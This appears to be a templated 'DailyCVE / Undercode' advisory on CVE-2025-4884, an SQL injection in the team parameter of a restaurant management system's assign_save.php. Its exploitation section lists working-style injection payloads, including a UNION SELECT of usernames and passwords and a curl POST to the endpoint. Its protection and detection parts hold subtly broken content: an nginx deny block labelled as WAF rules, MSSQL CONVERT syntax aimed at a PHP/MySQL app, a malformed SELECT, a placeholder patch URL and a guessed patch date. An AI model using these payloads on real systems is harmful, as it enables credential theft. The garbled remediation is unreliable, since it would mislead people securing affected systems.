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How the CVE Works
CVE-2025-4884 is a critical SQL injection vulnerability in itsourcecode Restaurant Management System 1.0, specifically in the `/admin/assign_save.php` file. The flaw arises due to improper sanitization of the `team` parameter, allowing attackers to inject malicious SQL queries. Remote exploitation is possible, enabling unauthorized database access, data manipulation, or system compromise. The vulnerability leverages insecure input handling, where user-supplied data is directly concatenated into SQL statements without validation. Attackers can exploit this by crafting payloads to bypass authentication, extract sensitive data, or execute arbitrary commands on the database server.
DailyCVE Form
Platform: Restaurant Management System
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/28/2025
Prediction: Patch expected by 06/15/2025
What Undercode Say:
Exploitation:
1. Craft Payload:
team=1' UNION SELECT username, password FROM users-- -
2. Send Request:
curl -X POST "http://target.com/admin/assign_save.php" -d "team=1' UNION SELECT 1,2-- -"
3. Extract Data:
team=1' AND 1=CONVERT(int,(SELECT table_name FROM information_schema.tables))-- -
Protection:
1. Input Validation:
$team = mysqli_real_escape_string($conn, $_POST['team']);
2. Prepared Statements:
$stmt = $conn->prepare("UPDATE teams SET member = ? WHERE id = ?");
$stmt->bind_param("si", $member, $team);
3. WAF Rules:
location /admin/ {
deny all;
}
4. Patch Monitoring:
wget https://vendor.com/patches/CVE-2025-4884_fix.zip
Analytics:
- Exploitability: High (public PoC available).
- Attack Surface: Remote, unauthenticated.
- Mitigation Priority: Immediate.
Detection:
grep -r "assign_save.php" /var/www/html/
SELECT FROM logs WHERE request LIKE '%assign_save.php%team=%';
Post-Exploit Cleanup:
DELETE FROM sessions WHERE ip = 'attacker_ip';
iptables -A INPUT -s attacker_ip -j DROP
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
